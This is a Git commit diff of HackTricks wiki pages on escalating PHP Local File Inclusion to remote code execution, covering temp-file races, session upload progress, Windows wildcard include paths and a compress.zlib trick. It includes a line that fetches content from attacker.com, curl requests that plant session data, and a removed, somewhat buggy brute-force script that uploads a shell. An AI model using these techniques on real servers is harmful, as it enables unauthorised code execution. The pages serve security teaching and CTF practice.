GitBook: [#3115] No subject
This commit is contained in:
parent
d3fb752202
commit
415c3dc7e3
|
@ -406,8 +406,11 @@
|
|||
* [Email Injections](pentesting-web/email-header-injection.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
* [phar:// deserialization](pentesting-web/file-inclusion/phar-deserialization.md)
|
||||
* [LFI2RCE via phpinfo()](pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md)
|
||||
* [LFI2RCE via Nginx temp files](pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md)
|
||||
* [Via PHP\_SESSION\_UPLOAD\_PROGRESS](pentesting-web/file-inclusion/via-php\_session\_upload\_progress.md)
|
||||
* [LFI2RCE via phpinfo()](pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md)
|
||||
* [LFI2RCE Via temp file uploads](pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md)
|
||||
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
* [File Upload](pentesting-web/file-upload/README.md)
|
||||
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [Formula Injection](pentesting-web/formula-injection.md)
|
||||
|
|
|
@ -3,14 +3,13 @@
|
|||
{% hint style="warning" %}
|
||||
**Support HackTricks and get benefits!**
|
||||
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**?
|
||||
Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
{% endhint %}
|
||||
|
@ -413,61 +412,45 @@ If ssh is active check which user is being used (/proc/self/status & /etc/passwd
|
|||
|
||||
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via phpinfo() (file\_uploads = on)
|
||||
|
||||
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**
|
||||
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:
|
||||
|
||||
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
|
||||
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
|
||||
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
||||
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
|
||||
|
||||
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
|
||||
#### Theory
|
||||
|
||||
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
|
||||
|
||||
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
|
||||
|
||||
In **Windows** the files are usually stored in **C:\Windows\temp\php<<**
|
||||
|
||||
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
|
||||
|
||||
**Python script to try to bruteforce the name (if length = 6)**
|
||||
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### References
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
|
||||
|
||||
### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
A file opened using the protocol `compress.zlib://` with the flag `PHP_STREAM_PREFER_STDIO` can continue writing data that arrives to the connection later to the same file.
|
||||
|
||||
This means that a call such as:
|
||||
|
||||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
|
||||
Will send a request asking for http://attacker.com/file, then the server might respond the request with a valid HTTP response, keep the connection open, and send extra data some time later that will be also written into the file.
|
||||
|
||||
You can see that info in this part of the php-src code in main/streams/cast.c:
|
||||
|
||||
```c
|
||||
/* Use a tmpfile and copy the old streams contents into it */
|
||||
|
||||
if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||
*newstream = php_stream_fopen_tmpfile();
|
||||
} else {
|
||||
*newstream = php_stream_temp_new();
|
||||
}
|
||||
```
|
||||
|
||||
### Race Condition to RCE
|
||||
|
||||
****[**This CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) was solved using the previous trick.
|
||||
|
||||
The attacker will make the **victim server open a connection reading a file from the attackers server** using the **`compress.zlib`** protocol.
|
||||
|
||||
**While** this **connection** exist the attacker will **exfiltrate the path** to the temp file created (it's leaked by the server).
|
||||
|
||||
**While** the **connection** is still open, the attacker will **exploit a LFI loading the temp file** that he controls.
|
||||
|
||||
However, there is a check in the web server that **prevents loading files that contains `<?`**. Therefore, the attacker will abuse a **Race Condition**. In the connection that is still open the **attacker** will **send the PHP payload AFTER** the **webserver** has **checked** if the file contains the forbidden characters but **BEFORE it loads its content**.
|
||||
|
||||
For more information check the description of the Race Condition and the CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
|
@ -0,0 +1,39 @@
|
|||
# LFI2RCE Via temp file uploads
|
||||
|
||||
### **PHP File uploads**
|
||||
|
||||
**PHP** engine, upon **receiving a POST packet** with RFC 1867 **coded file(s)**, **creates** one or more **temporary files** which are used to **store the uploaded files data**. A PHP script handling file uploads is required to use the move\_uploaded\_file function to move the uploaded temporary file to a place of it's desire (if the script requires the file to exists after it terminates that is). **When the script ends PHP engine removes all temporary files** for files that were uploaded (if any are left after the script ends that is).
|
||||
|
||||
{% hint style="info" %}
|
||||
**As the attacker will usually know where this temporary files are located, in case he found a Local File Inclusion, he might find to load the file being uploaded and get RCE.**
|
||||
{% endhint %}
|
||||
|
||||
The main problem to access the file basically to **guess its name (which will be "random")**.
|
||||
|
||||
### Windows Exploitation
|
||||
|
||||
To generate the r**andom name on Windows,** PHP uses the **`GetTempFileName`** function. Looking into documentation we can find the following explanation: The GetTempFileName function creates a temporary file name of the following form:
|
||||
|
||||
`<path>\<pre><uuuu>.TMP`
|
||||
|
||||
* The path is `upload_tmp_dir` which normally it's `C:\Windows\Temp`
|
||||
* The pre is usually: "php"
|
||||
* The \<uuuu> is a unique hex value. However:
|
||||
* Only the lower 16 bits of the uUnique parameter are used. This limits GetTempFileName to a maximum of 65,535 unique file names if the lpPathName and lpPrefixStringparameters remain the same. **It's possible to brute-force it.**
|
||||
|
||||
As we saw, it's fairly **easy** to **find** the **temporary file in Windows systems**. And it's going to get easier because brute force is not needed here, thanks to a certain FindFirstFile quirk which allows **using masks** (<< as \* and > as ?) in LFI paths on Windows. Thanks to this, one can form an **include path like this**:
|
||||
|
||||
```
|
||||
http://site/vuln.php?inc=c:\windows\temp\php<<
|
||||
```
|
||||
|
||||
(In some cases more specific mask might be necessary such as `php1<<` or `phpA<<`). You can Brute-Force more specific masks until you find your uploaded temporary file.
|
||||
|
||||
### GNU/Linux Exploitation
|
||||
|
||||
The random value of the file name is good enough to not be neither predictable nor brute-forceable. For more info, check the references.
|
||||
|
||||
### References
|
||||
|
||||
* [https://gynvael.coldwind.pl/?id=376](https://gynvael.coldwind.pl/?id=376)
|
||||
* [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)
|
|
@ -0,0 +1,36 @@
|
|||
# Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
### Basic Info
|
||||
|
||||
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**.
|
||||
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
. ..
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
. ..
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
. .. sess_iamorange
|
||||
|
||||
In the last example the session will contain the string blahblahblah
|
||||
```
|
||||
|
||||
Note that with **`PHP_SESSION_UPLOAD_PROGRESS`** you can **control data inside the session**, so if you includes your session file you can include a part you control (a php shellcode for example).
|
||||
|
||||
{% hint style="info" %}
|
||||
Although most tutorials on the Internet recommends you to set `session.upload_progress.cleanup` to `Off` for debugging purpose. The default `session.upload_progress.cleanup` in PHP is still `On`. It means your upload progress in the session will be cleaned as soon as possible. So this will be **Race Condition**.
|
||||
{% endhint %}
|
||||
|
||||
### The CTF
|
||||
|
||||
In the [**original CTF**](https://blog.orange.tw/2018/10/) where this technique is commented, it wasn't enough to exploit the Race Condition but the content loaded needed to start also with the string `@<?php`.
|
||||
|
||||
Due to the default setting of `session.upload_progress.prefix`, our **SESSION file will start with a annoying prefix** `upload_progress_` Such as: `upload_progress_controlledcontentbyattacker`
|
||||
|
||||
The trick to **remove the initial prefix** was to **base64encode the payload 3 times** and then decode it via `convert.base64-decode` filters, this is because when **base64 decoding PHP will remove the weird characters**, so after 3 times **only** the **payload** **sent** by the attacker will **remain** (and then the attacker can control the initial part).
|
||||
|
||||
More information in the original writeup [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) and final exploit [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)
|
||||
|
Loading…
Reference in New Issue